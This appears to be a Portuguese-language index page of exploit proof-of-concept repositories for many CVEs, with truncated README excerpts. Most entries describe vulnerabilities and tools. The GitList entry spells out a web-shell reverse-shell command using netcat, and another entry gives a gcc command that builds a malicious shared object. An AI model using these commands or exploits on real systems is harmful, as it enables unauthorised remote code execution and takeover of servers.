CVE-2022-29464

CVE-2022-29464 Introdução A vulnerabilidade crítica do WSO2, CVE-2022-29464, foi descoberta por Orange Tsai. A falha é um upload arbitrário de arquivos não autorizado e irrestrito que permite que usuários não autorizados enviem arquivos JSP maliciosos para servidores WSO2 e obtenham Execução Remo...

gitlist-RCE

gitlist-RCE CVE-2014-4511 exemplo: após o upload da shell com sucesso: acesso: http://192.168.1.126/cache/x.php/?cmd=nc -nv 192.168.1.127 1111 -e /bin/sh http://192.168.1.126/cache/x.php/?cmd=nc%20-nv%20192.168.1.127%201111%20-e%20/bin/sh...

CiscoISE-CVE-2025-20282-POC

Cisco ISE CVE 2025-20282 Prova de conceito Writeup: https://riversecurity.eu/like-stealing-cisco-ise-cream-from-a-kid-weaponizing-a-cve/ O script Python abusa da função de upload que está disponível sem autenticação em /admin/files-upload/ O script cria localmente uma pasta bin e um arquivo chama...

Moniker-Link-CVE-2024-21413-

Moniker-Link-CVE-2024-21413- Em 13 de fevereiro de 2024, a Microsoft anunciou uma vulnerabilidade de RCE e vazamento de credenciais no Microsoft Outlook, à qual foi atribuída a CVE-2024-21413 Moniker Link. Haifei Li, da Check Point Research, é creditado pela descoberta da vulnerabilidade. A...

cve-2007-2447

CVE-2007-2447 Requisitos pysmb Informações A CVE-2007-2447 afeta o Samba da versão 3.0.0 à 3.0.25rc3. Ela permite que atacantes executem comandos shell no parâmetro username. Uso Abra uma porta de escuta de sua escolha, configure as variáveis no script e execute o script...

ctf-cve-2024-4577

Desafio CTF CVE-2024-4577 Visão Geral Este desafio CTF demonstra a CVE-2024-4577, uma vulnerabilidade crítica de injeção de argumentos em PHP CGI que afeta as versões do PHP 8.1.x 8.1.21, 8.2.x 8.2.8 e 8.3.x 8.3.1. Detalhes da Vulnerabilidade A CVE-2024-4577 é uma vulnerabilidade de injeção de...

CVE-2018-5955

CVE-2018-5955 Um exploit para CVE-2018-5955 GitStack 2.3.10 RCE não autenticado Exploit: GitStack 2.3.10 Execução Remota de Código Não Autenticada Data: 18.01.2018 Link do Software: https://gitstack.com/ Autor do Exploit: Kacper Szurek Exploit Original: https://www.exploit-db.com/exploits/43777...

CVE-2025-57055

CVE-2025-57055: Execução Remota de Código Autenticada no WonderCMS 3.5.0 Mecânica da Vulnerabilidade Existe uma vulnerabilidade de Execução Remota de Código RCE autenticada no WonderCMS v3.5.0. O problema decorre de como a aplicação lida com instalações remotas de temas/módulos via descritores...

CVE-2025-47227

CVE-2025-47227 Exploit para CVE-2025-47227 - Redefinição de Senha do ScriptCase Pré-Autenticação CVE-2025-47227 é uma falha de bypass de autenticação pré-autenticação CVSS 9.8 no ScriptCase Production Environment ≤ 9.12.006. O endpoint login.php permite redefinir a senha do administrador sem toke...

CVE-2025-3248-Langflow-RCE

mitsec - CVE-2025-3248 Langflow RCE Exploit Exploit de Execução Remota de Código RCE para aplicações Langflow vulneráveis a CVE-2025-3248. Endpoint Afetado: /api/v1/validate/code 🚀 Funcionalidades do Exploit RCE remota e não autenticada Nenhuma autenticação necessária Script Python3 de uma linha...

CVE-2025-47812

CVE-2025-47812 Este é um Prova de Conceito PoC do exploit do servidor Wing FTP CVE-2025-47812 Descrição As versões do Wing FTP Server anteriores a 7.4.4 sofreram de uma vulnerabilidade de Execução Remota de Código RCE como resultado do tratamento inseguro do parâmetro de nome de utilizador. Quand...

CVE-2024-5082

Visão Geral Este repositório contém uma prova de conceito em Python para CVE-2024-5082 , uma vulnerabilidade de execução remota de código no Sonatype Nexus Repository Manager 2. A vulnerabilidade permite que um usuário com permissão suficiente publique um artefato Maven especialmente criado e o...

CVE-2016-2098-PoC

CVE-2016-10033-PoC Escrevi isto para o PentesterLab Se você é do PentesterLab, não trapaceie, é muito melhor aprender. Espero que seja útil para alguém, senão para mim no futuro : Tem shell interativo, coisas legais de argparse também. Uso root@kitploit: usage: script.py -h --url URL --param PARA...

CVE-2019-16663

CVE-2019-16663 O código de exploit oficial para Centreon v19.04 Execução Remota de Código CVE-2019-16662...

CVE-2018-6574-go-get-RCE

CVE-2018-6574-Solução gcc -shared -o attack.so -fPIC attack.c...

CVE-2022-0324

cve-2022-0324 https://ngtuonghung.github.io/pwn/cve-reproduction/cve-2022-0324/...

CVE-2021-26700

RCE na Extensão NPM do VSCode Corrigido em 10 de fevereiro de 2021 em https://github.com/microsoft/vscode-npm-scripts/commit/cdd5e507564e0cc0f60bcccf184822be3fd73e07 https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-26700 Resumo Vulnerabilidade de execução remota de código na extensã...

spring-core-rce

spring-core-rce spring core rce exploração simples Pode usar war: https://github.com/fengguangbin/spring-rce-war Ambiente docker pode usar: https://github.com/lunasec-io/Spring4Shell-POC Também pode usar o ambiente online do vulfocus http://vulfocus.io/ ou o campo de treino do vulhub...

CVE-2009-2265

CVE-2009-2265 - Adobe ColdFusion 8 Upload de Arquivo com RCE Uma implementação em Rust do POC para o exploit CVE-2009-2265, visando Adobe ColdFusion 8. Visão Geral da Vulnerabilidade Esta vulnerabilidade permite que um atacante não autenticado faça upload de arquivos arbitrários para um diretório...

CVE-2023-4220

RCE para Chamilo LMS CVE-2023-4220 Usando uma Web Shell Este projeto automatiza a exploração da vulnerabilidade de execução remota de código CVE-2023-4220 encontrada no Chamilo LMS. Usando uma web shell, a ferramenta facilita a exploração automatizada da vulnerabilidade para obter controle sobre...